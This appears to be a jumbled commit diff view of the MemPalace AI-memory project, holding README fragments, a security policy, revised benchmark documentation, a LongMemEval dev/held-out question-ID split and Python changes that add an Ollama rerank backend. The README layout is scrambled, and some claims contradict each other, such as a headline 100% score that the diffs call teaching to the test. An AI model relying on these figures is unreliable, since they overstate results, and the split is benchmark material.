| **LoCoMo R@10** | Raw, session level | **60.3%** | Zero |
| **Personal palace R@10** | Heuristic bench | **85%** | Zero |
| **Palace structure impact** | Wing+room filtering | **+34%** R@10 | Zero |
**LongMemEval — retrieval recall (R@5, 500 questions):**
The 96.6% raw score is the highest published LongMemEval result requiring no API key, no cloud, and no LLM at any stage.
| Mode | R@5 | LLM required |
|---|---|---|
| Raw (semantic search, no heuristics, no LLM) | **96.6%** | None |
| Hybrid v4, held-out 450q (tuned on 50 dev, not seen during training) | **98.4%** | None |
| Hybrid v4 + LLM rerank (full 500) | ≥99% | Any capable model |
### vs Published Systems
The raw 96.6% requires no API key, no cloud, and no LLM at any stage. The
hybrid pipeline adds keyword boosting, temporal-proximity boosting, and
preference-pattern extraction; the held-out 98.4% is the honest
generalisable figure.
| System | LongMemEval R@5 | API Required | Cost |
|--------|----------------|--------------|------|
| **MemPalace (hybrid)** | **100%** | Optional | Free |
| Supermemory ASMR | ~99% | Yes | — |
| **MemPalace (raw)** | **96.6%** | **None** | **Free** |
| Mastra | 94.87% | Yes (GPT) | API costs |
| Mem0 | ~85% | Yes | $19–249/mo |
| Zep | ~85% | Yes | $25/mo+ |
The rerank pipeline promotes the best candidate out of the top-20
retrieved sessions using an LLM reader. It works with any reasonably
capable model — we have reproduced it with Claude Haiku, Claude Sonnet,
and minimax-m2.7 via Ollama Cloud (no Anthropic dependency). The gap
between raw and reranked is model-agnostic; we do not headline a "100%"
number because the last 0.6% was reached by inspecting specific wrong
answers, which `benchmarks/BENCHMARKS.md` flags as teaching to the test.
---
**Other benchmarks (full results in [`benchmarks/BENCHMARKS.md`](benchmarks/BENCHMARKS.md)):**
## All Commands
| Benchmark | Metric | Score | Notes |
|---|---|---|---|
| LoCoMo (session, top-10, no rerank) | R@10 | 60.3% | 1,986 questions |
| LoCoMo (hybrid v5, top-10, no rerank) | R@10 | 88.9% | Same set |
| ConvoMem (all categories, 250 items) | Avg recall | 92.9% | 50 per category |
| MemBench (ACL 2025, 8,500 items) | R@5 | 80.3% | All categories |
We deliberately do not include a side-by-side comparison against Mem0,
Mastra, Hindsight, Supermemory, or Zep. Those projects publish different
metrics on different splits, and placing retrieval recall next to
end-to-end QA accuracy is not an honest comparison. See each project's
own research page for their published numbers.
**Reproducing every result:**
```bash
# Setup
mempalace init <dir> # guided onboarding + AAAK bootstrap
# Mining
mempalace mine <dir> # mine project files
mempalace mine <dir> --mode convos # mine conversation exports
mempalace mine <dir> --mode convos --wing myapp # tag with a wing name
# Splitting
mempalace split <dir> # split concatenated transcripts
mempalace split <dir> --dry-run # preview
# Search
mempalace search "query" # search everything
mempalace search "query" --wing myapp # within a wing
mempalace search "query" --room auth-migration # within a room
# Memory stack
mempalace wake-up # load L0 + L1 context
mempalace wake-up --wing driftwood # project-specific
# Compression
mempalace compress --wing myapp # AAAK compress
# Status
mempalace status # palace overview
# MCP
mempalace mcp # show MCP setup command
git clone https://github.com/MemPalace/mempalace.git
cd mempalace
pip install -e ".[dev]"
# see benchmarks/README.md for dataset download commands
python benchmarks/longmemeval_bench.py /path/to/longmemeval_s_cleaned.json
```
All commands accept `--palace <path>` to override the default location.
---
## Configuration
## Knowledge graph
### Global (`~/.mempalace/config.json`)
MemPalace includes a temporal entity-relationship graph with validity
windows — add, query, invalidate, timeline — backed by local SQLite.
Usage and tool reference:
[mempalaceofficial.com/concepts/knowledge-graph](https://mempalaceofficial.com/concepts/knowledge-graph.html).
```json
{
"palace_path": "/custom/path/to/palace",
"collection_name": "mempalace_drawers",
"people_map": {"Kai": "KAI", "Priya": "PRI"}
}
```
## MCP server
### Wing config (`~/.mempalace/wing_config.json`)
29 MCP tools cover palace reads/writes, knowledge-graph operations,
cross-wing navigation, drawer management, and agent diaries. Installation
and the full tool list:
[mempalaceofficial.com/reference/mcp-tools](https://mempalaceofficial.com/reference/mcp-tools.html).
Generated by `mempalace init`. Maps your people and projects to wings:
## Agents
```json
{
"default_wing": "wing_general",
"wings": {
"wing_kai": {"type": "person", "keywords": ["kai", "kai's"]},
"wing_driftwood": {"type": "project", "keywords": ["driftwood", "analytics", "saas"]}
}
}
```
Each specialist agent gets its own wing and diary in the palace.
Discoverable at runtime via `mempalace_list_agents` — no bloat in your
system prompt:
[mempalaceofficial.com/concepts/agents](https://mempalaceofficial.com/concepts/agents.html).
### Identity (`~/.mempalace/identity.txt`)
## Auto-save hooks
Plain text. Becomes Layer 0 — loaded every session.
---
## File Reference
| File | What |
|------|------|
| `cli.py` | CLI entry point |
| `config.py` | Configuration loading and defaults |
| `normalize.py` | Converts 5 chat formats to standard transcript |
| `mcp_server.py` | MCP server — 19 tools, AAAK auto-teach, memory protocol |
| `miner.py` | Project file ingest |
| `convo_miner.py` | Conversation ingest — chunks by exchange pair |
| `searcher.py` | Semantic search via ChromaDB |
| `layers.py` | 4-layer memory stack |
| `dialect.py` | AAAK compression — 30x lossless |
| `knowledge_graph.py` | Temporal entity-relationship graph (SQLite) |
| `palace_graph.py` | Room-based navigation graph |
| `onboarding.py` | Guided setup — generates AAAK bootstrap + wing config |
| `entity_registry.py` | Entity code registry |
| `entity_detector.py` | Auto-detect people and projects from content |
| `split_mega_files.py` | Split concatenated transcripts into per-session files |
| `hooks/mempal_save_hook.sh` | Auto-save every N messages |
| `hooks/mempal_precompact_hook.sh` | Emergency save before compaction |
---
## Project Structure
```
mempalace/
├── README.md ← you are here
├── mempalace/ ← core package (README)
│ ├── cli.py ← CLI entry point
│ ├── mcp_server.py ← MCP server (19 tools)
│ ├── knowledge_graph.py ← temporal entity graph
│ ├── palace_graph.py ← room navigation graph
│ ├── dialect.py ← AAAK compression
│ ├── miner.py ← project file ingest
│ ├── convo_miner.py ← conversation ingest
│ ├── searcher.py ← semantic search
│ ├── onboarding.py ← guided setup
│ └── ... ← see mempalace/README.md
├── benchmarks/ ← reproducible benchmark runners
│ ├── README.md ← reproduction guide
│ ├── BENCHMARKS.md ← full results + methodology
│ ├── longmemeval_bench.py ← LongMemEval runner
│ ├── locomo_bench.py ← LoCoMo runner
│ └── membench_bench.py ← MemBench runner
├── hooks/ ← Claude Code auto-save hooks
│ ├── README.md ← hook setup guide
│ ├── mempal_save_hook.sh ← save every N messages
│ └── mempal_precompact_hook.sh ← emergency save
├── examples/ ← usage examples
│ ├── basic_mining.py
│ ├── convo_import.py
│ └── mcp_setup.md
├── tests/ ← test suite (README)
├── assets/ ← logo + brand assets
└── pyproject.toml ← package config (v3.0.0)
```
Two Claude Code hooks save periodically and before context compression:
[mempalaceofficial.com/guide/hooks](https://mempalaceofficial.com/guide/hooks.html).
---
## Requirements
- Python 3.9+
- `chromadb>=0.4.0`
- `pyyaml>=6.0`
- A vector-store backend (ChromaDB by default)
- ~300 MB disk for the default embedding model
No API key. No internet after install. Everything local.
No API key is required for the core benchmark path.
```bash
pip install mempalace
```
## Docs
---
- Getting started → [mempalaceofficial.com/guide/getting-started](https://mempalaceofficial.com/guide/getting-started.html)
- CLI reference → [mempalaceofficial.com/reference/cli](https://mempalaceofficial.com/reference/cli.html)
- Python API → [mempalaceofficial.com/reference/python-api](https://mempalaceofficial.com/reference/python-api.html)
- Full benchmark methodology → [benchmarks/BENCHMARKS.md](benchmarks/BENCHMARKS.md)
- Release notes → [CHANGELOG.md](CHANGELOG.md)
- Corrections and public notices → [docs/HISTORY.md](docs/HISTORY.md)
## Contributing
PRs welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for setup and guidelines.
PRs welcome. See [CONTRIBUTING.md](CONTRIBUTING.md).
## License
MIT — see [LICENSE](LICENSE).
<!-- Link Definitions -->
[version-shield]: https://img.shields.io/badge/version-3.2.0-4dc9f6?style=flat-square&labelColor=0a0e14
[release-link]: https://github.com/milla-jovovich/mempalace/releases
[version-shield]: https://img.shields.io/badge/version-3.3.2-4dc9f6?style=flat-square&labelColor=0a0e14
[release-link]: https://github.com/MemPalace/mempalace/releases
[python-shield]: https://img.shields.io/badge/python-3.9+-7dd8f8?style=flat-square&labelColor=0a0e14&logo=python&logoColor=7dd8f8
[python-link]: https://www.python.org/
[license-shield]: https://img.shields.io/badge/license-MIT-b0e8ff?style=flat-square&labelColor=0a0e14
[license-link]: https://github.com/milla-jovovich/mempalace/blob/main/LICENSE
[license-link]: https://github.com/MemPalace/mempalace/blob/main/LICENSE
[discord-shield]: https://img.shields.io/badge/discord-join-5865F2?style=flat-square&labelColor=0a0e14&logo=discord&logoColor=5865F2
[discord-link]: https://discord.com/invite/ycTQQCu6kn
+33
View File
@@ -0,0 +1,33 @@
# Security Policy
## Supported Versions
MemPalace follows semantic versioning. Security fixes land on the current major version line.
| Version | Supported |
| ------------------ | --------- |
| 3.x (current) | Yes |
| 2.x and earlier | No |
## Reporting a Vulnerability
**Please do not report security vulnerabilities through public GitHub issues.**
We take the security of MemPalace seriously. If you believe you have found a security vulnerability, please report it privately using **GitHub Private Vulnerability Reporting**:
1. Open the [Security tab](https://github.com/MemPalace/mempalace/security) of this repository.
2. Click **Advisories** → **Report a vulnerability**.
3. Fill in the form with the details below.
### What to include in your report
- A descriptive summary of the vulnerability.
- Detailed steps to reproduce the issue (including any proof-of-concept scripts or specific file paths).
- The affected version(s) and platform(s).
- The potential impact and severity.
### What to expect
- We aim to acknowledge receipt within 48 hours.
- We will triage the issue and keep you updated on progress toward a patch.
- Once the vulnerability is resolved and an update is released, we will publish a security advisory and credit you for the discovery (if you wish to be credited).
+48 -14
View File
@@ -41,23 +41,57 @@ Both are real. Both are reproducible. Neither is the whole picture alone.
## Comparison vs Published Systems (LongMemEval)
| # | System | R@5 | LLM Required | Which LLM | Notes |
> **Important caveat — read before quoting this table.**
> MemPal's `R@5` in this table is **retrieval recall**: is the labelled
> session for this question inside the top-5 retrieved candidates?
>
> Several of the other systems below publish **end-to-end QA accuracy** —
> a different metric that scores whether the system's generated answer
> is correct. Retrieval recall and QA accuracy are not comparable; a
> system can have 100% retrieval recall and 40% QA accuracy, and vice
> versa.
>
> - **Mastra's 94.87%** is binary QA accuracy with GPT-5-mini, per
> [mastra.ai/research/observational-memory](https://mastra.ai/research/observational-memory).
> - **Supermemory ASMR's ~99%** is QA accuracy with an 8-/12-agent
> ensemble, and the authors explicitly frame it as an experimental
> proof-of-concept, not production, per
> [their ASMR post](https://supermemory.ai/blog/we-broke-the-frontier-in-agent-memory-introducing-99-sota-memory-system/).
> - **Mem0** does not publish a LongMemEval number; their published
> metric is LoCoMo QA accuracy (~66.9%), per
> [mem0.ai/research](https://mem0.ai/research).
>
> The table is kept here as a historical record of how the comparison
> was originally framed. Public-facing pages (`README.md`,
> `mempalaceofficial.com`) no longer present this table, per issue
> [#875](https://github.com/MemPalace/mempalace/issues/875). For a fair
> head-to-head, run the same metric on the same split.
| # | System | R@5 (retrieval recall, unless noted) | LLM Required | Which LLM | Notes |
|---|---|---|---|---|---|
| 1 | **MemPal (hybrid v4 + rerank)** | **100%** | Optional | Haiku | Reproducible, 500/500 |
| 2 | Supermemory ASMR | ~99% | Yes | Undisclosed | Research only, not in production |
| 1 | **MemPal (hybrid v4 + Haiku rerank)** | **100%** | Optional | Haiku | 500/500 — but the 99.4%→100% step tuned on 3 specific wrong answers (see "Benchmark Integrity" below). Held-out 450q is 98.4%. |
| 2 | Supermemory ASMR | ~99% *(QA accuracy, not R@5)* | Yes | Ensemble of Gemini 2.0 Flash / GPT-4o-mini | Experimental, not production, per authors |
| 3 | MemPal (hybrid v3 + rerank) | 99.4% | Optional | Haiku | Reproducible |
| 3 | MemPal (palace + rerank) | 99.4% | Optional | Haiku | Independent architecture |
| 4 | Mastra | 94.87% | Yes | GPT-5-mini | — |
| 5 | **MemPal (raw, no LLM)** | **96.6%** | **None** | **None** | **Highest zero-API score published** |
| 6 | Hindsight | 91.4% | Yes | Gemini-3 | — |
| 7 | Supermemory (production) | ~85% | Yes | Undisclosed | — |
| 8 | Stella (dense retriever) | ~85% | None | None | Academic baseline |
| 9 | Contriever | ~78% | None | None | Academic baseline |
| 4 | Mastra | 94.87% *(QA accuracy, not R@5)* | Yes | GPT-5-mini | Different metric — not directly comparable to R@5 |
| 5 | **MemPal (raw, no LLM)** | **96.6%** | **None** | **None** | **Reproducible, 500/500** |
| 6 | MemPal hybrid v4 held-out 450 | 98.4% | None | None | Honest generalisable hybrid-pipeline figure |
| 7 | Hindsight | 91.4% *(per their release, metric unverified)* | Yes | Gemini-3 | Check their published methodology |
| 8 | Stella (dense retriever) | ~85% | None | None | Academic retrieval baseline |
| 9 | Contriever | ~78% | None | None | Academic retrieval baseline |
| 10 | BM25 (sparse) | ~70% | None | None | Keyword baseline |
**MemPal raw (96.6%) is the highest published LongMemEval score that requires no API key, no cloud, and no LLM at any stage.**
The MemPal raw 96.6% is the headline we ship on public surfaces: it's
retrieval recall, it requires no API key, and it reproduces.
**MemPal hybrid v4 + Haiku rerank (100%) is the first perfect score on LongMemEval — 500/500 questions, all 6 question types at 100%.**
The MemPal hybrid v4 + Haiku rerank 100% remains an internal
result — reproducible with `--mode hybrid_v4 --llm-rerank` — but we
don't quote it on public pages because the final 0.6% was reached by
inspecting three specific wrong answers (see "Benchmark Integrity"
below), which is teaching to the test. The honest generalisable figure
when an LLM is in the loop is the held-out 98.4% R@5 on 450 unseen
questions, or the model-agnostic 99.2% R@5 / 100% R@10 we reproduced
with minimax-m2.7 on the full 500.
---
@@ -308,9 +342,9 @@ The palace classifies each question into one of 5 halls. Pass 1 searches only wi
### Setup
```bash
git clone -b ben/benchmarking https://github.com/aya-thekeeper/mempal.git
cd mempal
pip install chromadb pyyaml
git clone https://github.com/MemPalace/mempalace.git
cd mempalace
pip install -e ".[dev]"
mkdir -p /tmp/longmemeval-data
curl -fsSL -o /tmp/longmemeval-data/longmemeval_s_cleaned.json \
https://huggingface.co/datasets/xiaowu0162/longmemeval-cleaned/resolve/main/longmemeval_s_cleaned.json
+3 -3
View File
@@ -196,9 +196,9 @@ python benchmarks/longmemeval_bench.py data/longmemeval_s_cleaned.json --mode hy
```bash
# Setup
git clone -b ben/benchmarking https://github.com/aya-thekeeper/mempal.git
cd mempal
pip install chromadb
git clone https://github.com/MemPalace/mempalace.git
cd mempalace
pip install -e ".[dev]"
# Download data
mkdir -p /tmp/longmemeval-data
+4 -4
View File
@@ -1,13 +1,13 @@
# MemPal Benchmarks — Reproduction Guide
# MemPalace Benchmarks — Reproduction Guide
Run the exact same benchmarks we report. Clone, install, run.
## Setup
```bash
git clone -b ben/benchmarking https://github.com/aya-thekeeper/mempal.git
cd mempal
pip install chromadb pyyaml
git clone https://github.com/MemPalace/mempalace.git
cd mempalace
pip install -e ".[dev]"
```
## Benchmark 1: LongMemEval (500 questions)
+508
View File
@@ -0,0 +1,508 @@
{
"dev": [
"cc06de0d",
"f9e8c073",
"b320f3f8",
"a89d7624",
"311778f1",
"gpt4_59c863d7",
"bbf86515",
"099778bb",
"e831120c",
"dcfa8644",
"8fb83627",
"e66b632c",
"gpt4_7fce9456",
"55241a1f",
"352ab8bd",
"f4f1d8a4",
"830ce83f",
"2311e44b",
"09ba9854",
"gpt4_a1b77f9c",
"07741c45",
"gpt4_70e84552",
"b46e15ee",
"6071bd76",
"6f9b354f",
"1d4da289",
"gpt4_8279ba02",
"6456829e_abs",
"0db4c65d",
"d6062bb9",
"60bf93ed_abs",
"d3ab962e",
"87f22b4a",
"e01b8e2f",
"gpt4_7ddcf75f",
"8ebdbe50",
"26bdc477",
"29f2956b_abs",
"2311e44b_abs",
"75f70248",
"852ce960",
"f0e564bc",
"fca70973",
"3c1045c8",
"18bc8abd",
"afdc33df",
"54026fce",
"b9cfe692",
"6456829e",
"e6041065"
],
"held_out": [
"gpt4_15e38248",
"gpt4_2ba83207",
"2133c1b5_abs",
"gpt4_8279ba03",
"76d63226",
"1192316e",
"gpt4_fa19884d",
"gpt4_372c3eed_abs",
"1a8a66a6",
"gpt4_fe651585",
"e25c3b8d",
"945e3d21",
"86b68151",
"1c0ddc50",
"1e043500",
"d682f1a2",
"gpt4_b5700ca0",
"91b15a6e",
"ce6d2d27",
"f523d9fe",
"7024f17c",
"8752c811",
"gpt4_f420262d",
"d01c6aa8",
"4b24c848",
"7e974930",
"3fdac837",
"gpt4_b4a80587",
"c18a7dc8",
"80ec1f4f_abs",
"7527f7e2",
"6ade9755",
"89941a94",
"gpt4_1d80365e",
"2133c1b5",
"06db6396",
"gpt4_88806d6e",
"88432d0a",
"3ba21379",
"0862e8bf",
"aae3761f",
"5025383b",
"gpt4_e061b84f",
"73d42213",
"4bc144e2",
"gpt4_5501fe77",
"00ca467f",
"dfde3500",
"01493427",
"b6025781",
"a96c20ee_abs",
"982b5123_abs",
"gpt4_fa19884c",
"gpt4_1a1dc16d",
"28dc39ac",
"gpt4_2d58bcd6",
"51c32626",
"c4ea545c",
"1da05512",
"gpt4_385a5000",
"577d4d32",
"72e3ee87",
"f4f1d8a4_abs",
"9d25d4e0",
"b29f3365",
"b759caee",
"10e09553",
"1d4e3b97",
"d52b4f67",
"gpt4_e072b769",
"58ef2f1c",
"6e984301",
"41275add",
"gpt4_59149c77",
"2ebe6c90",
"1cea1afa",
"gpt4_1e4a8aec",
"6c49646a",
"8a2466db",
"gpt4_65aabe59",
"gpt4_93159ced",
"51a45a95",
"af8d2e46",
"561fabcd",
"370a8ff4",
"gpt4_d84a3211",
"gpt4_7a0daae1",
"2a1811e2",
"gpt4_78cf46a3",
"1568498a",
"6b7dfb22",
"6ae235be",
"bc8a6e93_abs",
"681a1674",
"06878be2",
"1a1907b4",
"0e4e4c46",
"gpt4_85da3956",
"gpt4_f420262c",
"2bf43736",
"bc149d6b",
"09d032c9",
"5c40ec5b",
"eac54adc",
"993da5e2",
"71a3fd6b",
"gpt4_0b2f1d21",
"ad7109d1",
"4c36ccef",
"c8c3f81d",
"edced276_abs",
"0bc8ad92",
"gpt4_468eb064",
"2ebe6c92",
"cc6d1ec1",
"4dfccbf8",
"95228167",
"ba358f49",
"45dc21b6",
"db467c8c",
"720133ac",
"67e0d0f2",
"cc5ded98",
"726462e0",
"4100d0a0",
"3a704032",
"gpt4_7ca326fa",
"ec81a493",
"618f13b2",
"58470ed2",
"gpt4_4fc4f797",
"60036106",
"157a136e",
"6222b6eb",
"69fee5aa",
"19b5f2b3_abs",
"gpt4_d12ceb0e",
"51b23612",
"2318644b",
"3fe836c9",
"gpt4_7de946e7",
"71017277",
"f0853d11",
"dc439ea3",
"gpt4_2f91af09",
"9a707b81",
"bc8a6e93",
"c14c00dd",
"8979f9ec",
"cf22b7bf",
"gpt4_ec93e27f",
"gpt4_468eb063",
"41698283",
"1de5cff2",
"21d02d0d",
"c7cf7dfd",
"gpt4_ab202e7f",
"dccbc061",
"078150f1",
"e3038f8c",
"gpt4_c27434e8_abs",
"2698e78f",
"031748ae_abs",
"gpt4_59149c78",
"c8f1aeed",
"184da446",
"gpt4_b5700ca9",
"89527b6b",
"0977f2af",
"853b0a1d",
"a346bb18",
"3249768e",
"gpt4_2f8be40d",
"gpt4_93159ced_abs",
"eeda8a6d",
"7a8d0b71",
"95bcc1c8",
"gpt4_2487a7cb",
"85fa3a3f",
"7e00a6cb",
"e3fc4d6e",
"59524333",
"37f165cf",
"0ddfec37",
"60bf93ed",
"d7c942c3",
"80ec1f4f",
"ceb54acb",
"9aaed6a3",
"gpt4_4929293a",
"ed4ddc30",
"545bd2b5",
"2788b940",
"ef9cf60a",
"gpt4_7f6b06db",
"0ea62687",
"3d86fd0a",
"3e321797",
"d24813b1",
"38146c39",
"efc3f7c2",
"7401057b",
"5809eb10",
"28bcfaac",
"1903aded",
"gpt4_194be4b3",
"gpt4_e414231f",
"0ddfec37_abs",
"c2ac3c61",
"gpt4_4ef30696",
"1f2b8d4f",
"0f05491a",
"8550ddae",
"8077ef71",
"b86304ba",
"e61a7584",
"8cf51dda",
"gpt4_2f584639",
"08e075c7",
"5d3d2817",
"7405e8b1",
"a3045048",
"gpt4_731e37d7",
"c8090214_abs",
"36580ce8",
"ba358f49_abs",
"gpt4_d6585ce8",
"e56a43b9",
"2c63a862",
"gpt4_5438fa52",
"07b6f563",
"gpt4_31ff4165",
"0bb5a684",
"71315a70",
"gpt4_cd90e484",
"gpt4_8c8961ae",
"gpt4_fe651585_abs",
"36b9f61e",
"gpt4_b0863698",
"gpt4_1d4ab0c9",
"15745da0_abs",
"0862e8bf_abs",
"bcbe585f",
"a2f3aa27",
"gpt4_6dc9b45b",
"ccb36322",
"f685340e",
"9ea5eabc",
"gpt4_372c3eed",
"37d43f65",
"bf659f65",
"b0479f84",
"gpt4_213fd887",
"e4e14d04",
"f8c5f88b",
"gpt4_18c2b244",
"a11281a2",
"gpt4_2655b836",
"e47becba",
"gpt4_74aed68e",
"gpt4_af6db32f",
"6cb6f249",
"77eafa52",
"gpt4_93f6379c",
"e8a79c70",
"7a87bd0c",
"gpt4_6ed717ea",
"d6233ab6",
"c19f7a0b",
"gpt4_61e13b3c",
"d23cf73b",
"gpt4_1e4a8aeb",
"ba61f0b9",
"118b2229",
"488d3006",
"c4a1ceb8",
"8e91e7d9",
"42ec0761",
"65240037",
"fea54f57",
"c8090214",
"b01defab",
"6aeb4375_abs",
"faba32e5",
"c5e8278d",
"gpt4_e414231e",
"eeda8a6d_abs",
"gpt4_8e165409",
"af082822",
"22d2cb42",
"92a0aa75",
"1c549ce4",
"25e5aa4f",
"gpt4_68e94288",
"4baee567",
"18dcd5a5",
"dad224aa",
"gpt4_f2262a51",
"29f2956b",
"21436231",
"19b5f2b3",
"gpt4_1916e0ea",
"gpt4_45189cb4",
"0a995998",
"b6019101",
"9bbe84a2",
"61f8c8f8",
"9a707b82",
"8cf4d046",
"eac54add",
"75832dbd",
"gpt4_98f46fc6",
"d596882b",
"88432d0a_abs",
"16c90bf4",
"f685340e_abs",
"b5ef892d",
"gpt4_f49edff3",
"gpt4_483dd43c",
"bb7c3b45",
"gpt4_7abb270c",
"gpt4_9a159967",
"07741c44",
"4d6b87c8",
"6aeb4375",
"gpt4_d6585ce9",
"60472f9c",
"caf9ead2",
"32260d93",
"60159905",
"0a34ad58",
"a40e080f",
"10d9b85a",
"a06e4cfe",
"4f54b7c9",
"6613b389",
"70b3e69b",
"gpt4_7bc6cf22",
"gpt4_0a05b494",
"778164c6",
"195a1a1b",
"8464fc84",
"b46e15ed",
"603deb26",
"eaca4986",
"2698e78f_abs",
"gpt4_21adecb5",
"2e6d26dc",
"5831f84d",
"08f4fc43",
"3f1e9474",
"c9f37c46",
"gpt4_2f56ae70",
"1b9b7252",
"35a27287",
"gpt4_d31cdae3",
"129d1232",
"4adc0475",
"27016adc",
"46a3abf7",
"9ee3ecd6",
"982b5123",
"09ba9854_abs",
"0e5e2d1a",
"e9327a54",
"86f00804",
"e982271f",
"7161e7e2",
"57f827a0",
"6a27ffc2",
"edced276",
"gpt4_d9af6064",
"75499fd8",
"60d45044",
"gpt4_70e84552_abs",
"2ce6a0f2",
"gpt4_4929293b",
"a1cc6108",
"gpt4_5dcc0aab",
"a3838d2b",
"c7dc5443",
"505af2f5",
"gpt4_68e94287",
"15745da0",
"0100672e",
"a82c026e",
"5e1b23de",
"71017276",
"89941a93",
"6b168ec8",
"affe2881",
"0edc2aef",
"gpt4_2312f94c",
"a4996e51",
"c6853660",
"ef66a6e5",
"8a137a7f",
"a96c20ee",
"fca762bc",
"ac031881",
"d905b33f",
"e493bb7c",
"a9f6b44c",
"dd2973ad",
"8aef76bc",
"f35224e0",
"8b9d4367",
"gpt4_c27434e8",
"gpt4_a56e767c",
"eace081b",
"5a4f22c0",
"58bf7951",
"c4f10528",
"50635ada",
"06f04340",
"0bc8ad93",
"e5ba910e_abs",
"5a7937c8",
"a3332713",
"4388e9dd",
"8c18457d",
"gpt4_2c50253f",
"6a1eabeb",
"b3c15d39",
"gpt4_e061b84g",
"3b6f954b",
"gpt4_76048e76",
"4dfccbf7",
"2b8f3739",
"d851d5ba",
"4fd1909e",
"94f70d80",
"66f24dbb",
"a08a253f",
"6e984302",
"001be529",
"gpt4_a2d1d1f6",
"cc539528",
"e48988bc",
"gpt4_4cd9eba1",
"8e9d538c",
"a1eacc2a",
"6d550036",
"gpt4_e05b82a6",
"81507db6",
"caf03d32",
"031748ae",
"c960da58",
"1faac195",
"gpt4_4edbafa2"
],
"seed": 42,
"dev_size": 50
}
+69 -23
View File
@@ -510,11 +510,20 @@ def palace_assign_rooms(sessions, sample_id, api_key, cache, model="claude-haiku
def llm_rerank_locomo(
question, retrieved_ids, retrieved_docs, api_key, top_k=10, model="claude-sonnet-4-6"
question,
retrieved_ids,
retrieved_docs,
api_key,
top_k=10,
model="claude-sonnet-4-6",
backend="anthropic",
base_url="",
):
"""
Ask LLM to pick the single most relevant document for this question.
Returns reordered retrieved_ids with the best candidate first.
Supports backend="anthropic" (default) or "ollama" (OpenAI-compat endpoint).
"""
candidates = retrieved_ids[:top_k]
candidate_docs = retrieved_docs[:top_k]
@@ -522,7 +531,6 @@ def llm_rerank_locomo(
if len(candidates) <= 1:
return retrieved_ids
# Build numbered list of candidates
lines = []
for i, (cid, doc) in enumerate(zip(candidates, candidate_docs), 1):
snippet = doc[:300].replace("\n", " ")
@@ -534,35 +542,51 @@ def llm_rerank_locomo(
f"Reply with just the number (1-{len(candidates)}).\n\n" + "\n".join(lines)
)
payload = json.dumps(
{
"model": model,
"max_tokens": 8,
"messages": [{"role": "user", "content": prompt}],
}
).encode("utf-8")
req = urllib.request.Request(
"https://api.anthropic.com/v1/messages",
data=payload,
headers={
if backend == "ollama":
url = (base_url or "http://localhost:11434").rstrip("/") + "/v1/chat/completions"
payload = json.dumps(
{
"model": model,
"messages": [{"role": "user", "content": prompt}],
"max_tokens": 1024,
"temperature": 0.0,
}
).encode("utf-8")
headers = {"content-type": "application/json"}
if api_key:
headers["authorization"] = f"Bearer {api_key}"
else:
url = "https://api.anthropic.com/v1/messages"
payload = json.dumps(
{
"model": model,
"max_tokens": 8,
"messages": [{"role": "user", "content": prompt}],
}
).encode("utf-8")
headers = {
"x-api-key": api_key,
"anthropic-version": "2023-06-01",
"content-type": "application/json",
},
method="POST",
)
}
req = urllib.request.Request(url, data=payload, headers=headers, method="POST")
import socket as _socket
for _attempt in range(3):
try:
with urllib.request.urlopen(req, timeout=30) as resp:
with urllib.request.urlopen(req, timeout=120 if backend == "ollama" else 30) as resp:
result = json.loads(resp.read())
raw = result["content"][0]["text"].strip()
m = re.search(r"\b(\d+)\b", raw)
if backend == "ollama":
msg = result["choices"][0]["message"]
raw = (msg.get("content") or "").strip() or (msg.get("reasoning") or "").strip()
else:
raw = result["content"][0]["text"].strip()
# Take LAST integer — reasoning models often count candidates first
m = re.search(r"\b(\d+)\b", raw[::-1])
if m:
pick = int(m.group(1))
pick = int(m.group(1)[::-1])
if 1 <= pick <= len(candidates):
chosen_id = candidates[pick - 1]
reordered = [chosen_id] + [cid for cid in retrieved_ids if cid != chosen_id]
@@ -608,6 +632,8 @@ def run_benchmark(
palace_cache_file=None,
palace_model="claude-haiku-4-5-20251001",
embed_model="default",
llm_backend="anthropic",
llm_base_url="",
):
"""Run LoCoMo retrieval benchmark."""
with open(data_file) as f:
@@ -619,8 +645,12 @@ def run_benchmark(
api_key = ""
if llm_rerank_enabled or mode == "palace":
api_key = _load_api_key(llm_key)
if not api_key:
print(f"ERROR: --mode {mode} requires an API key (--llm-key or ANTHROPIC_API_KEY).")
# Ollama backend doesn't require an Anthropic key. Palace mode still does
# (it uses Anthropic for room-assignment indexing) — so only relax the
# requirement when rerank is the ONLY llm use and backend is ollama.
needs_key = mode == "palace" or (llm_rerank_enabled and llm_backend == "anthropic")
if needs_key and not api_key:
print(f"ERROR: --mode {mode} / --llm-rerank (anthropic) requires an API key.")
sys.exit(1)
# Palace mode: load or create room assignment cache
@@ -888,6 +918,8 @@ def run_benchmark(
api_key,
top_k=rerank_pool,
model=llm_model,
backend=llm_backend,
base_url=llm_base_url,
)
# Compute recall
@@ -1013,6 +1045,18 @@ if __name__ == "__main__":
help="Model for LLM rerank (default: claude-sonnet-4-6)",
)
parser.add_argument("--llm-key", default="", help="API key (or set ANTHROPIC_API_KEY env var)")
parser.add_argument(
"--llm-backend",
choices=["anthropic", "ollama"],
default="anthropic",
help="Which API for --llm-rerank. 'anthropic' (default) or 'ollama' "
"(OpenAI-compat /v1/chat/completions — works for local + Ollama Cloud).",
)
parser.add_argument(
"--llm-base-url",
default="",
help="Override base URL for --llm-backend ollama. Default: http://localhost:11434.",
)
parser.add_argument(
"--hybrid-weight",
type=float,
@@ -1049,4 +1093,6 @@ if __name__ == "__main__":
palace_cache_file=args.palace_cache,
palace_model=args.palace_model,
embed_model=args.embed_model,
llm_backend=args.llm_backend,
llm_base_url=args.llm_base_url,
)
+101 -42
View File
@@ -2763,7 +2763,15 @@ def build_palace_and_retrieve_diary(
def llm_rerank(
question, rankings, corpus, corpus_ids, api_key, top_k=10, model="claude-haiku-4-5-20251001"
question,
rankings,
corpus,
corpus_ids,
api_key,
top_k=10,
model="claude-haiku-4-5-20251001",
backend="anthropic",
base_url="",
):
"""
Use an LLM to re-rank the top-k retrieved sessions.
@@ -2772,19 +2780,22 @@ def llm_rerank(
which single session is most relevant to the question. That session
is promoted to rank 1; the rest stay in their existing order.
This closes the gap for "preference" and jargon-dense "assistant"
failures where the right session is in top-10 semantically but not
top-5 — because the semantic gap (battery life ↔ phone hardware) is
too large for embeddings to bridge.
Supports two backends:
- "anthropic": hits https://api.anthropic.com/v1/messages with x-api-key.
- "ollama": hits {base_url}/v1/chat/completions (OpenAI-compat) —
works for local Ollama (default http://localhost:11434)
and Ollama Cloud (:cloud model tags).
Args:
question: The benchmark question string
rankings: Current ranked list of corpus indices (from any mode)
corpus: List of document strings
